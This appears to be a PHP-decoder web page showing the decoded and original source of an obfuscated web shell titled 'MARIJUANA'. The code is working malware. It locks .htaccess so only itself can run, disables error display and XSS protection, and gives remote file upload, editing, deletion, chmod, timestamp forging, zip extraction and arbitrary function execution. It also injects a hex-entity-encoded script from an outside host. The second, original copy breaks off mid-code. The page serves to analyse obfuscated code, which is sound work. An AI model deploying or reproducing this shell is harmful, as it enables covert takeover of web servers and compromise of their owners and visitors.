Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$lELZLj = substr($_SERVER["PHP_SELF"], strripos($_SERVER["PHP_SELF"], "/") + 1); file_put_..

Decoded Output download

<?  $lELZLj = substr($_SERVER["PHP_SELF"], strripos($_SERVER["PHP_SELF"], "/") + 1); file_put_contents(".htaccess", base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4NCiBPcmRlciBhbGxvdyxkZW55DQogRGVueSBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg0KPEZpbGVzTWF0Y2ggIl4o") . $lELZLj . base64_decode("KSQiPg0KIE9yZGVyIGFsbG93LGRlbnkNCiBBbGxvdyBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg==")); chmod(".htaccess", 0444); header("X-XSS-Protection: 0"); ob_start(); set_time_limit(0); error_reporting(0); ini_set("display_errors", FALSE); $lELZLW = ["7068705f756e616d65", "70687076657273696f6e", "6368646972", "676574637764", "707265675f73706c6974", "636f7079", "66696c655f6765745f636f6e74656e7473", "6261736536345f6465636f6465", "69735f646972", "6f625f656e645f636c65616e28293b", "756e6c696e6b", "6d6b646972", "63686d6f64", "7363616e646972", "7374725f7265706c616365", "68746d6c7370656369616c6368617273", "7661725f64756d70", "666f70656e", "667772697465", "66636c6f7365", "64617465", "66696c656d74696d65", "737562737472", "737072696e7466", "66696c657065726d73", "746f756368", "66696c655f657869737473", "72656e616d65", "69735f6172726179", "69735f6f626a656374", "737472706f73", "69735f7772697461626c65", "69735f7265616461626c65", "737472746f74696d65", "66696c6573697a65", "726d646972", "6f625f6765745f636c65616e", "7265616466696c65", "617373657274"]; $lELZLZ = count($lELZLW); for ($lELZLR = 0; $lELZLR < $lELZLZ; $lELZLR++) { $lELZLL[] = uhex($lELZLW[$lELZLR]); } echo " <!DOCTYPE html> <html dir="auto" lang="en-US"> <head> <meta charset="UTF-8"> <meta name="robots" content="NOINDEX, NOFOLLOW"> <title>MARIJUANA</title> <link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" /> <link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css"> <script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script> </head> <body> <header> <div class="y x"> <a class="ajx" href=""; echo basename($_SERVER["PHP_SELF"]); echo ""> MARIJuANA </a> </div> <div class="q x w"> &#8212; DIOS &#8212; NO &#8212; CREA &#8212; NADA &#8212; EN &#8212; VANO &#8212; </div> </header> <article> <div class="i"> <i class="far fa-hdd"></i> "; echo $lELZLL[0](); echo " <br /> <i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT :</b> "; echo $_SERVER["SERVER_SOFTWARE"]; echo " <b>PHP :</b> "; echo $lELZLL[1](); echo " <br /> <i class="far fa-folder"></i> "; if (isset($_GET["d"])) { goto lyMWZjZ; } $lELZLn = $lELZLL[3](); goto lyMWZjR; lyMWZjZ: $lELZLn = uhex($_GET["d"]); $lELZLL[2](uhex($_GET["d"])); lyMWZjR: $lELZLx = $lELZLL[4]("/(\|\/)/", $lELZLn); foreach ($lELZLx as $lELZLy => $lELZLV) { goto lyMWZjO; lyMWZjE: continue; goto lyMWZWj; lyMWZjD: if (!($lELZLV == '')) { goto lyMWZjy; } goto lyMWZjE; lyMWZjU: lyMWZjx: goto lyMWZjD; lyMWZjq: echo "<a class="ajx" href="?d=2f">/</a>"; goto lyMWZjU; lyMWZWR: echo "">" . $lELZLV . "</a>/"; goto lyMWZWL; lyMWZWj: lyMWZjy: goto lyMWZWW; lyMWZWZ: for ($lELZLR = 0; $lELZLR <= $lELZLy; $lELZLR++) { echo hex($lELZLx[$lELZLR]); if (!($lELZLR != $lELZLy)) { goto lyMWZjM; } echo "2f"; lyMWZjM: } goto lyMWZWR; lyMWZjO: if (!($lELZLV == '' && $lELZLy == 0)) { goto lyMWZjx; } goto lyMWZjq; lyMWZWW: echo "<a class="ajx" href="?d="; goto lyMWZWZ; lyMWZWL: } echo " <br /> </div> <div class="u"> "; echo $_SERVER["SERVER_ADDR"]; echo " <i class="fas fa-link"></i> <br /> <br /> <form method="post" enctype="multipart/form-data"> <label class="l w"> <input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD </label>&nbsp; </form> "; $lELZLa = ["<script>$.notify("", "", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>"]; $lELZLM = $lELZLa[0] . "OK!" . $lELZLa[1]; $lELZLO = $lELZLa[0] . "ER!" . $lELZLa[1]; if (!isset($_FILES["n"])) { goto lyMWZWa; } $lELZLq = $_FILES["n"]["name"]; $lELZLU = count($lELZLq); for ($lELZLR = 0; $lELZLR < $lELZLU; $lELZLR++) { if ($lELZLL[5]($_FILES["n"]["tmp_name"][$lELZLR], $lELZLq[$lELZLR])) { goto lyMWZWy; } echo $lELZLO; goto lyMWZWV; lyMWZWy: echo $lELZLM; lyMWZWV: } lyMWZWa: echo " </div> "; $lELZLD = "<table cellspacing="0" cellpadding="7" width="100%"> <thead> <tr> <th>"; $lELZLE = "</th> </tr> </thead> <tbody> <tr> <td></td> </tr> <tr> <td class="x">"; $lELZnj = "</td> </tr> </tbody> </table>"; $lELZnW = "<br /> <br /> <input type="submit" class="w" value="&nbsp;OK&nbsp;" /> </form>"; if (isset($_GET["s"])) { goto lyMWZxL; } if (isset($_GET["y"])) { goto lyMWZxn; } if (isset($_GET["e"])) { goto lyMWZxx; } if (isset($_GET["x"])) { goto lyMWZxy; } if (isset($_GET["t"])) { goto lyMWZxV; } if (isset($_GET["k"])) { goto lyMWZxa; } if (isset($_GET["l"])) { goto lyMWZxM; } if (isset($_GET["q"])) { goto lyMWZxO; } if (isset($_GET["n"])) { goto lyMWZxq; } if (isset($_GET["r"])) { goto lyMWZxU; } if (isset($_GET["z"])) { goto lyMWZxD; } echo "<table cellspacing="0" cellpadding="7" width="100%"> <thead> <tr> <th width="44%">[ NAME ]</th> <th width="11%">[ SIZE ]</th> <th width="17%">[ PERM ]</th> <th width="17%">[ DATE ]</th> <th width="11%">[ ACT ]</th> </tr> </thead> <tbody> <tr> <td> <a class="ajx" href="?d=" . hex($lELZLn) . "&n">+FILE</a> <a class="ajx" href="?d=" . hex($lELZLn) . "&l">+DIR</a> </td> </tr> "; $lELZna = ''; $lELZnM = ''; $lELZnO = $lELZLL[13]($lELZLn); if (!($lELZLL[28]($lELZnO) || $lELZLL[29]($lELZnO))) { goto lyMWZxZ; } foreach ($lELZnO as $lELZnq) { goto lyMWZLn; lyMWZLn: $lELZnU = $lELZLL[14]("\", "/", $lELZLn); goto lyMWZLx; lyMWZxj: lyMWZLL: goto lyMWZxW; lyMWZLU: if (!$lELZLL[32]("{$lELZLn}/{$lELZnq}")) { goto lyMWZLW; } goto lyMWZLD; lyMWZnD: if (!($lELZnq != "." && $lELZnq != "..")) { goto lyMWZLL; } goto lyMWZnE; lyMWZnO: lyMWZLZ: goto lyMWZnq; lyMWZnj: lyMWZLj: goto lyMWZnW; lyMWZnq: $lELZxj = round($lELZxj / 1024, 2) . " MB"; goto lyMWZnU; lyMWZnL: $lELZnE = " h"; goto lyMWZnn; lyMWZnE: $lELZLL[8]("{$lELZLn}/{$lELZnq}") ? $lELZna .= "<tr class="r"> <td> <i class="far fa-folder m"></i> <a class="ajx" href="?d=" . hex($lELZnU) . hex("/" . $lELZnq) . "">" . $lELZnq . "</a> </td> <td class="x"> dir </td> <td class="x"> <a class="ajx" . $lELZnE . "" href="?d=" . hex($lELZnU) . "&k=" . hex($lELZnq) . "">" . x("{$lELZLn}/{$lELZnq}") . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($lELZnU) . "&t=" . hex($lELZnq) . "">" . $lELZLL[20]("Y-m-d H:i", $lELZLL[21]("{$lELZLn}/{$lELZnq}")) . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($lELZnU) . "&r=" . hex($lELZnq) . "">R</a> <a href="?d=" . hex($lELZnU) . "&x=" . hex($lELZnq) . "">D</a> </td> </tr> " : ($lELZnM .= "<tr class="r"> <td> <i class="far fa-file m"></i>&thinsp; <a class="ajx" href="?d=" . hex($lELZnU) . "&s=" . hex($lELZnq) . "">" . $lELZnq . "</a> </td> <td class="x"> " . $lELZxj . " </td> <td class="x"> <a class="ajx" . $lELZnE . "" href="?d=" . hex($lELZnU) . "&k=" . hex($lELZnq) . "">" . x("{$lELZLn}/{$lELZnq}") . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($lELZnU) . "&t=" . hex($lELZnq) . "">" . $lELZLL[20]("Y-m-d H:i", $lELZLL[21]("{$lELZLn}/{$lELZnq}")) . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($lELZnU) . "&r=" . hex($lELZnq) . "">R</a> <a class="ajx" href="?d=" . hex($lELZnU) . "&e=" . hex($lELZnq) . "">E</a> <a href="?d=" . hex($lELZnU) . "&g=" . hex($lELZnq) . "">G</a> " . $lELZnD . " <a href="?d=" . hex($lELZnU) . "&x=" . hex($lELZnq) . "">D</a> </td> </tr> "); goto lyMWZxj; lyMWZLy: $lELZnD = "<a href="?d=" . hex($lELZnU) . "&z=" . hex($lELZnq) . "">U</a>"; goto lyMWZLV; lyMWZLM: $lELZnD = ''; goto lyMWZLO; lyMWZLE: goto lyMWZRE; goto lyMWZnj; lyMWZLV: goto lyMWZRD; goto lyMWZLa; lyMWZLq: if ($lELZLL[31]("{$lELZLn}/{$lELZnq}")) { goto lyMWZLj; } goto lyMWZLU; lyMWZnx: $lELZxj = $lELZLL[34]("{$lELZLn}/{$lELZnq}") / 1024; goto lyMWZny; lyMWZLx: if (!$lELZLL[30]($lELZnq, ".zip")) { goto lyMWZRU; } goto lyMWZLy; lyMWZnM: goto lyMWZLR; goto lyMWZnO; lyMWZnV: if ($lELZxj >= 1024) { goto lyMWZLZ; } goto lyMWZna; lyMWZna: $lELZxj = $lELZxj . " KB"; goto lyMWZnM; lyMWZny: $lELZxj = round($lELZxj, 3); goto lyMWZnV; lyMWZnU: lyMWZLR: goto lyMWZnD; lyMWZLO: lyMWZRD: goto lyMWZLq; lyMWZLa: lyMWZRU: goto lyMWZLM; lyMWZnn: lyMWZRE: goto lyMWZnx; lyMWZnW: $lELZnE = ''; goto lyMWZnZ; lyMWZLD: $lELZnE = " w"; goto lyMWZLE; lyMWZnZ: goto lyMWZRE; goto lyMWZnR; lyMWZnR: lyMWZLW: goto lyMWZnL; lyMWZxW: } lyMWZxZ: echo $lELZna; echo $lELZnM; echo "</tbody> <tfoot> <tr> <th class="et"> <a class="ajx" href="?d=" . hex($lELZnU) . "&y">REQUEST</a> <a href="?d=" . hex($lELZnU) . "&q">EXIT</a> </th> <th class="et" width="11%"></th> <th class="et" width="17%"></th> <th class="et" width="17%"></th> <th class="et" width="11%"></th> </tr> </tfoot> </table>"; goto lyMWZxR; lyMWZxL: echo $lELZLD . uhex($_GET["s"]) . $lELZLE . " <textarea readonly="yes">" . $lELZLL[15]($lELZLL[6](uhex($_GET["s"]))) . "</textarea> <br /> <br /> <input onclick="location.href='?d=" . $_GET["d"] . "&e=" . $_GET["s"] . "'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" /> " . $lELZnj; goto lyMWZxR; lyMWZxn: echo $lELZLD . "REQUEST" . $lELZLE . " <form method="post"> <input class="x" type="text" name="1" />&nbsp;&nbsp; <input class="x" type="text" name="2" /> " . $lELZnW . " <br /> <textarea readonly="yes">"; if (!isset($_POST["2"])) { goto lyMWZWM; } echo $lELZLL[15](dre($_POST["1"], $_POST["2"])); lyMWZWM: echo "</textarea> " . $lELZnj; goto lyMWZxR; lyMWZxx: echo $lELZLD . uhex($_GET["e"]) . $lELZLE . " <form method="post"> <textarea name="e" class="o">" . $lELZLL[15]($lELZLL[6](uhex($_GET["e"]))) . "</textarea> <br /> <br /> <span class="w">BASE64</span> : <select id="b64" name="b64"> <option value="0">NO</option> <option value="1">YES</option> </select> " . $lELZnW . " " . $lELZnj . " <script> $("#b64").change(function() { if($("#b64 option:selected").val() == 0) { var X = $("textarea").val(); var Z = atob(X); $("textarea").val(Z); } else { var N = $("textarea").val(); var I = btoa(N); $("textarea").val(I); } }); </script>"; if (!isset($_POST["e"])) { goto lyMWZWE; } if ($_POST["b64"] == "1") { goto lyMWZWO; } $lELZnZ = $_POST["e"]; goto lyMWZWq; lyMWZWO: $lELZnZ = $lELZLL[7]($_POST["e"]); lyMWZWq: $lELZnR = $lELZLL[17](uhex($_GET["e"]), "w"); if ($lELZLL[18]($lELZnR, $lELZnZ)) { goto lyMWZWU; } ER(); goto lyMWZWD; lyMWZWU: OK(); lyMWZWD: $lELZLL[19]($lELZnR); lyMWZWE: goto lyMWZxR; lyMWZxy: rec(uhex($_GET["x"])); if ($lELZLL[26](uhex($_GET["x"]))) { goto lyMWZZj; } OK(); goto lyMWZZW; lyMWZZj: ER(); lyMWZZW: goto lyMWZxR; lyMWZxV: echo $lELZLD . uhex($_GET["t"]) . $lELZLE . " <form action="" method="post"> <input name="t" class="x" type="text" value="" . $lELZLL[20]("Y-m-d H:i", $lELZLL[21](uhex($_GET["t"]))) . ""> " . $lELZnW . " " . $lELZnj; if (empty($_POST["t"])) { goto lyMWZZx; } $lELZnL = $lELZLL[33]($_POST["t"]); if ($lELZnL) { goto lyMWZZL; } ER(); goto lyMWZZn; lyMWZZL: if (!$lELZLL[25](uhex($_GET["t"]), $lELZnL, $lELZnL)) { goto lyMWZZZ; } OK(); goto lyMWZZR; lyMWZZZ: ER(); lyMWZZR: lyMWZZn: lyMWZZx: goto lyMWZxR; lyMWZxa: echo $lELZLD . uhex($_GET["k"]) . $lELZLE . " <form action="" method="post"> <input name="b" class="x" type="text" value="" . $lELZLL[22]($lELZLL[23]("%o", $lELZLL[24](uhex($_GET["k"]))), -4) . ""> " . $lELZnW . " " . $lELZnj; if (empty($_POST["b"])) { goto lyMWZZO; } $lELZnn = $_POST["b"]; $lELZnx = 0; for ($lELZLR = strlen($lELZnn) - 1; $lELZLR >= 0; --$lELZLR) { $lELZnx += (int) $lELZnn[$lELZLR] * pow(8, strlen($lELZnn) - $lELZLR - 1); } if (!$lELZLL[12](uhex($_GET["k"]), $lELZnx)) { goto lyMWZZa; } OK(); goto lyMWZZM; lyMWZZa: ER(); lyMWZZM: lyMWZZO: goto lyMWZxR; lyMWZxM: echo $lELZLD . "+DIR" . $lELZLE . " <form action="" method="post"> <input name="l" class="x" type="text" value=""> " . $lELZnW . " " . $lELZnj; if (!isset($_POST["l"])) { goto lyMWZZD; } if (!$lELZLL[11]($_POST["l"])) { goto lyMWZZq; } OK(); goto lyMWZZU; lyMWZZq: ER(); lyMWZZU: lyMWZZD: goto lyMWZxR; lyMWZxO: if ($lELZLL[10](__FILE__)) { goto lyMWZZE; } echo $lELZLO; goto lyMWZRj; lyMWZZE: $lELZLL[38]($lELZLL[9]); header("Location: " . basename($_SERVER["PHP_SELF"]) . ''); exit; lyMWZRj: goto lyMWZxR; lyMWZxq: echo $lELZLD . "+FILE" . $lELZLE . " <form action="" method="post"> <input name="n" class="x" type="text" value=""> " . $lELZnW . " " . $lELZnj; if (!isset($_POST["n"])) { goto lyMWZRR; } if (!$lELZLL[25]($_POST["n"])) { goto lyMWZRW; } OK(); goto lyMWZRZ; lyMWZRW: ER(); lyMWZRZ: lyMWZRR: goto lyMWZxR; lyMWZxU: echo $lELZLD . uhex($_GET["r"]) . $lELZLE . " <form action="" method="post"> <input name="r" class="x" type="text" value="" . uhex($_GET["r"]) . ""> " . $lELZnW . " " . $lELZnj; if (!isset($_POST["r"])) { goto lyMWZRV; } if ($lELZLL[26]($_POST["r"])) { goto lyMWZRx; } if ($lELZLL[27](uhex($_GET["r"]), $_POST["r"])) { goto lyMWZRL; } ER(); goto lyMWZRn; lyMWZRL: OK(); lyMWZRn: goto lyMWZRy; lyMWZRx: ER(); lyMWZRy: lyMWZRV: goto lyMWZxR; lyMWZxD: $lELZny = new ZipArchive(); $lELZnV = $lELZny->open(uhex($_GET["z"])); if ($lELZnV === TRUE) { goto lyMWZRa; } ER(); goto lyMWZRM; lyMWZRa: $lELZny->extractTo(uhex($_GET["d"])); $lELZny->close(); OK(); lyMWZRM: lyMWZxR: echo " </article> <footer class="x"> &copy;TheAlmightyZeus </footer> "; if (isset($_GET["1"])) { goto lyMWZyj; } if (isset($_GET["0"])) { goto lyMWZyW; } NULL; goto lyMWZxE; lyMWZyj: echo $lELZLM; goto lyMWZxE; lyMWZyW: echo $lELZLO; lyMWZxE: echo " <script> $(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})}); </script> </body> </html> "; function rec($lELZnM) { goto lyMWZyn; lyMWZyn: global $lELZLL; goto lyMWZyx; lyMWZyy: return; goto lyMWZyV; lyMWZyO: goto lyMWZyL; goto lyMWZyq; lyMWZyD: $lELZLL[35]($lELZnM); goto lyMWZyE; lyMWZyV: lyMWZyZ: goto lyMWZya; lyMWZyx: if (!(trim(pathinfo($lELZnM, PATHINFO_BASENAME), ".") === '')) { goto lyMWZyZ; } goto lyMWZyy; lyMWZyE: lyMWZyL: goto lyMWZVj; lyMWZyM: $lELZLL[10]($lELZnM); goto lyMWZyO; lyMWZyU: array_map("rec", glob($lELZnM . DIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)); goto lyMWZyD; lyMWZya: if ($lELZLL[8]($lELZnM)) { goto lyMWZyR; } goto lyMWZyM; lyMWZyq: lyMWZyR: goto lyMWZyU; lyMWZVj: } function dre($lELZxW, $lELZxZ) { goto lyMWZVW; lyMWZVW: global $lELZLL; goto lyMWZVZ; lyMWZVL: return $lELZLL[36](); goto lyMWZVn; lyMWZVZ: ob_start(); goto lyMWZVR; lyMWZVR: $lELZLL[16]($lELZxW($lELZxZ)); goto lyMWZVL; lyMWZVn: } function hex($lELZxR) { goto lyMWZVV; lyMWZVV: $lELZxL = ''; goto lyMWZVa; lyMWZVa: for ($lELZLR = 0; $lELZLR < strlen($lELZxR); $lELZLR++) { $lELZxL .= dechex(ord($lELZxR[$lELZLR])); } goto lyMWZVM; lyMWZVM: return $lELZxL; goto lyMWZVO; lyMWZVO: } function uhex($lELZxL) { goto lyMWZVD; lyMWZVE: for ($lELZLR = 0; $lELZLR < strlen($lELZxL) - 1; $lELZLR += 2) { $lELZxR .= chr(hexdec($lELZxL[$lELZLR] . $lELZxL[$lELZLR + 1])); } goto lyMWZaj; lyMWZVD: $lELZxR = ''; goto lyMWZVE; lyMWZaj: return $lELZxR; goto lyMWZaW; lyMWZaW: } function OK() { goto lyMWZaZ; lyMWZaL: header("Location: ?d=" . hex($lELZLn) . "&1"); goto lyMWZan; lyMWZaR: $lELZLL[38]($lELZLL[9]); goto lyMWZaL; lyMWZan: exit; goto lyMWZax; lyMWZaZ: global $lELZLL, $lELZLn; goto lyMWZaR; lyMWZax: } function ER() { goto lyMWZay; lyMWZaM: exit; goto lyMWZaO; lyMWZay: global $lELZLL, $lELZLn; goto lyMWZaV; lyMWZaV: $lELZLL[38]($lELZLL[9]); goto lyMWZaa; lyMWZaa: header("Location: ?d=" . hex($lELZLn) . "&0"); goto lyMWZaM; lyMWZaO: } function x($lELZnq) { goto lyMWZML; lyMWZqV: $lELZxn .= $lELZnn & 0x10 ? "w" : "-"; goto lyMWZqa; lyMWZqL: $lELZxn .= $lELZnn & 0x100 ? "r" : "-"; goto lyMWZqn; lyMWZOR: $lELZxn = "l"; goto lyMWZOL; lyMWZMV: if (($lELZnn & 0x8000) == 0x8000) { goto lyMWZaE; } goto lyMWZMa; lyMWZOa: $lELZxn = "b"; goto lyMWZOM; lyMWZOU: goto lyMWZaq; goto lyMWZOD; lyMWZOq: $lELZxn = "d"; goto lyMWZOU; lyMWZOD: lyMWZMZ: goto lyMWZOE; lyMWZME: lyMWZaU: goto lyMWZOj; lyMWZOx: $lELZxn = "-"; goto lyMWZOy; lyMWZOZ: lyMWZaD: goto lyMWZOR; lyMWZMa: if (($lELZnn & 0x6000) == 0x6000) { goto lyMWZMj; } goto lyMWZMM; lyMWZOj: $lELZxn = "s"; goto lyMWZOW; lyMWZMn: $lELZnn = $lELZLL[24]($lELZnq); goto lyMWZMx; lyMWZMD: goto lyMWZaq; goto lyMWZME; lyMWZOO: lyMWZMW: goto lyMWZOq; lyMWZqq: $lELZxn .= $lELZnn & 0x1 ? $lELZnn & 0x200 ? "t" : "x" : ($lELZnn & 0x200 ? "T" : "-"); goto lyMWZqU; lyMWZOV: lyMWZMj: goto lyMWZOa; lyMWZML: global $lELZLL; goto lyMWZMn; lyMWZqM: $lELZxn .= $lELZnn & 0x4 ? "r" : "-"; goto lyMWZqO; lyMWZqj: goto lyMWZaq; goto lyMWZqW; lyMWZOE: $lELZxn = "c"; goto lyMWZqj; lyMWZMO: if (($lELZnn & 0x2000) == 0x2000) { goto lyMWZMZ; } goto lyMWZMq; lyMWZOW: goto lyMWZaq; goto lyMWZOZ; lyMWZqU: return $lELZxn; goto lyMWZqD; lyMWZOM: goto lyMWZaq; goto lyMWZOO; lyMWZOL: goto lyMWZaq; goto lyMWZOn; lyMWZqW: lyMWZMR: goto lyMWZqZ; lyMWZqa: $lELZxn .= $lELZnn & 0x8 ? $lELZnn & 0x400 ? "s" : "x" : ($lELZnn & 0x400 ? "S" : "-"); goto lyMWZqM; lyMWZqx: $lELZxn .= $lELZnn & 0x40 ? $lELZnn & 0x800 ? "s" : "x" : ($lELZnn & 0x800 ? "S" : "-"); goto lyMWZqy; lyMWZqR: lyMWZaq: goto lyMWZqL; lyMWZqy: $lELZxn .= $lELZnn & 0x20 ? "r" : "-"; goto lyMWZqV; lyMWZMU: $lELZxn = "u"; goto lyMWZMD; lyMWZMy: if (($lELZnn & 0xa000) == 0xa000) { goto lyMWZaD; } goto lyMWZMV; lyMWZqn: $lELZxn .= $lELZnn & 0x80 ? "w" : "-"; goto lyMWZqx; lyMWZMx: if (($lELZnn & 0xc000) == 0xc000) { goto lyMWZaU; } goto lyMWZMy; lyMWZOn: lyMWZaE: goto lyMWZOx; lyMWZMM: if (($lELZnn & 0x4000) == 0x4000) { goto lyMWZMW; } goto lyMWZMO; lyMWZqZ: $lELZxn = "p"; goto lyMWZqR; lyMWZOy: goto lyMWZaq; goto lyMWZOV; lyMWZMq: if (($lELZnn & 0x1000) == 0x1000) { goto lyMWZMR; } goto lyMWZMU; lyMWZqO: $lELZxn .= $lELZnn & 0x2 ? "w" : "-"; goto lyMWZqq; lyMWZqD: } if (!isset($_GET["g"])) { goto lyMWZqE; } $lELZLL[38]($lELZLL[9]); header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $lELZLL[34](uhex($_GET["g"]))); header("Content-disposition: attachment; filename="" . uhex($_GET["g"]) . """); $lELZLL[37](uhex($_GET["g"])); lyMWZqE: echo " <SCRIPT SRC=&#x68&#x74&#x74&#x70&#x3a&#x2f&#x2f&#x77&#x77&#x77&#x2e&#x6c&#x6f&#x63&#x61&#x6c&#x72&#x6f&#x6f&#x74&#x2e&#x6e&#x65&#x74&#x2f&#x69&#x62&#x6e&#x65&#x6c&#x65&#x72&#x2f&#x79&#x61&#x7a&#x2e&#x6a&#x73></SCRIPT>"; ?>

Did this file decode correctly?

Original Code

$lELZLj = substr($_SERVER["PHP_SELF"], strripos($_SERVER["PHP_SELF"], "/") + 1); file_put_contents(".htaccess", base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4NCiBPcmRlciBhbGxvdyxkZW55DQogRGVueSBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg0KPEZpbGVzTWF0Y2ggIl4o") . $lELZLj . base64_decode("KSQiPg0KIE9yZGVyIGFsbG93LGRlbnkNCiBBbGxvdyBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg==")); chmod(".htaccess", 0444); header("X-XSS-Protection: 0"); ob_start(); set_time_limit(0); error_reporting(0); ini_set("display_errors", FALSE); $lELZLW = ["7068705f756e616d65", "70687076657273696f6e", "6368646972", "676574637764", "707265675f73706c6974", "636f7079", "66696c655f6765745f636f6e74656e7473", "6261736536345f6465636f6465", "69735f646972", "6f625f656e645f636c65616e28293b", "756e6c696e6b", "6d6b646972", "63686d6f64", "7363616e646972", "7374725f7265706c616365", "68746d6c7370656369616c6368617273", "7661725f64756d70", "666f70656e", "667772697465", "66636c6f7365", "64617465", "66696c656d74696d65", "737562737472", "737072696e7466", "66696c657065726d73", "746f756368", "66696c655f657869737473", "72656e616d65", "69735f6172726179", "69735f6f626a656374", "737472706f73", "69735f7772697461626c65", "69735f7265616461626c65", "737472746f74696d65", "66696c6573697a65", "726d646972", "6f625f6765745f636c65616e", "7265616466696c65", "617373657274"]; $lELZLZ = count($lELZLW); for ($lELZLR = 0; $lELZLR < $lELZLZ; $lELZLR++) { $lELZLL[] = uhex($lELZLW[$lELZLR]); } echo " <!DOCTYPE html> <html dir="auto" lang="en-US"> <head> <meta charset="UTF-8"> <meta name="robots" content="NOINDEX, NOFOLLOW"> <title>MARIJUANA</title> <link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" /> <link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css"> <script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script> </head> <body> <header> <div class="y x"> <a class="ajx" href=""; echo basename($_SERVER["PHP_SELF"]); echo ""> MARIJuANA </a> </div> <div class="q x w"> &#8212; DIOS &#8212; NO &#8212; CREA &#8212; NADA &#8212; EN &#8212; VANO &#8212; </div> </header> <article> <div class="i"> <i class="far fa-hdd"></i> "; echo $lELZLL[0](); echo " <br /> <i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT :</b> "; echo $_SERVER["SERVER_SOFTWARE"]; echo " <b>PHP :</b> "; echo $lELZLL[1](); echo " <br /> <i class="far fa-folder"></i> "; if (isset($_GET["d"])) { goto lyMWZjZ; } $lELZLn = $lELZLL[3](); goto lyMWZjR; lyMWZjZ: $lELZLn = uhex($_GET["d"]); $lELZLL[2](uhex($_GET["d"])); lyMWZjR: $lELZLx = $lELZLL[4]("/(\|\/)/", $lELZLn); foreach ($lELZLx as $lELZLy => $lELZLV) { goto lyMWZjO; lyMWZjE: continue; goto lyMWZWj; lyMWZjD: if (!($lELZLV == '')) { goto lyMWZjy; } goto lyMWZjE; lyMWZjU: lyMWZjx: goto lyMWZjD; lyMWZjq: echo "<a class="ajx" href="?d=2f">/</a>"; goto lyMWZjU; lyMWZWR: echo "">" . $lELZLV . "</a>/"; goto lyMWZWL; lyMWZWj: lyMWZjy: goto lyMWZWW; lyMWZWZ: for ($lELZLR = 0; $lELZLR <= $lELZLy; $lELZLR++) { echo hex($lELZLx[$lELZLR]); if (!($lELZLR != $lELZLy)) { goto lyMWZjM; } echo "2f"; lyMWZjM: } goto lyMWZWR; lyMWZjO: if (!($lELZLV == '' && $lELZLy == 0)) { goto lyMWZjx; } goto lyMWZjq; lyMWZWW: echo "<a class="ajx" href="?d="; goto lyMWZWZ; lyMWZWL: } echo " <br /> </div> <div class="u"> "; echo $_SERVER["SERVER_ADDR"]; echo " <i class="fas fa-link"></i> <br /> <br /> <form method="post" enctype="multipart/form-data"> <label class="l w"> <input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD </label>&nbsp; </form> "; $lELZLa = ["<script>$.notify("", "", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>"]; $lELZLM = $lELZLa[0] . "OK!" . $lELZLa[1]; $lELZLO = $lELZLa[0] . "ER!" . $lELZLa[1]; if (!isset($_FILES["n"])) { goto lyMWZWa; } $lELZLq = $_FILES["n"]["name"]; $lELZLU = count($lELZLq); for ($lELZLR = 0; $lELZLR < $lELZLU; $lELZLR++) { if ($lELZLL[5]($_FILES["n"]["tmp_name"][$lELZLR], $lELZLq[$lELZLR])) { goto lyMWZWy; } echo $lELZLO; goto lyMWZWV; lyMWZWy: echo $lELZLM; lyMWZWV: } lyMWZWa: echo " </div> "; $lELZLD = "<table cellspacing="0" cellpadding="7" width="100%"> <thead> <tr> <th>"; $lELZLE = "</th> </tr> </thead> <tbody> <tr> <td></td> </tr> <tr> <td class="x">"; $lELZnj = "</td> </tr> </tbody> </table>"; $lELZnW = "<br /> <br /> <input type="submit" class="w" value="&nbsp;OK&nbsp;" /> </form>"; if (isset($_GET["s"])) { goto lyMWZxL; } if (isset($_GET["y"])) { goto lyMWZxn; } if (isset($_GET["e"])) { goto lyMWZxx; } if (isset($_GET["x"])) { goto lyMWZxy; } if (isset($_GET["t"])) { goto lyMWZxV; } if (isset($_GET["k"])) { goto lyMWZxa; } if (isset($_GET["l"])) { goto lyMWZxM; } if (isset($_GET["q"])) { goto lyMWZxO; } if (isset($_GET["n"])) { goto lyMWZxq; } if (isset($_GET["r"])) { goto lyMWZxU; } if (isset($_GET["z"])) { goto lyMWZxD; } echo "<table cellspacing="0" cellpadding="7" width="100%"> <thead> <tr> <th width="44%">[ NAME ]</th> <th width="11%">[ SIZE ]</th> <th width="17%">[ PERM ]</th> <th width="17%">[ DATE ]</th> <th width="11%">[ ACT ]</th> </tr> </thead> <tbody> <tr> <td> <a class="ajx" href="?d=" . hex($lELZLn) . "&n">+FILE</a> <a class="ajx" href="?d=" . hex($lELZLn) . "&l">+DIR</a> </td> </tr> "; $lELZna = ''; $lELZnM = ''; $lELZnO = $lELZLL[13]($lELZLn); if 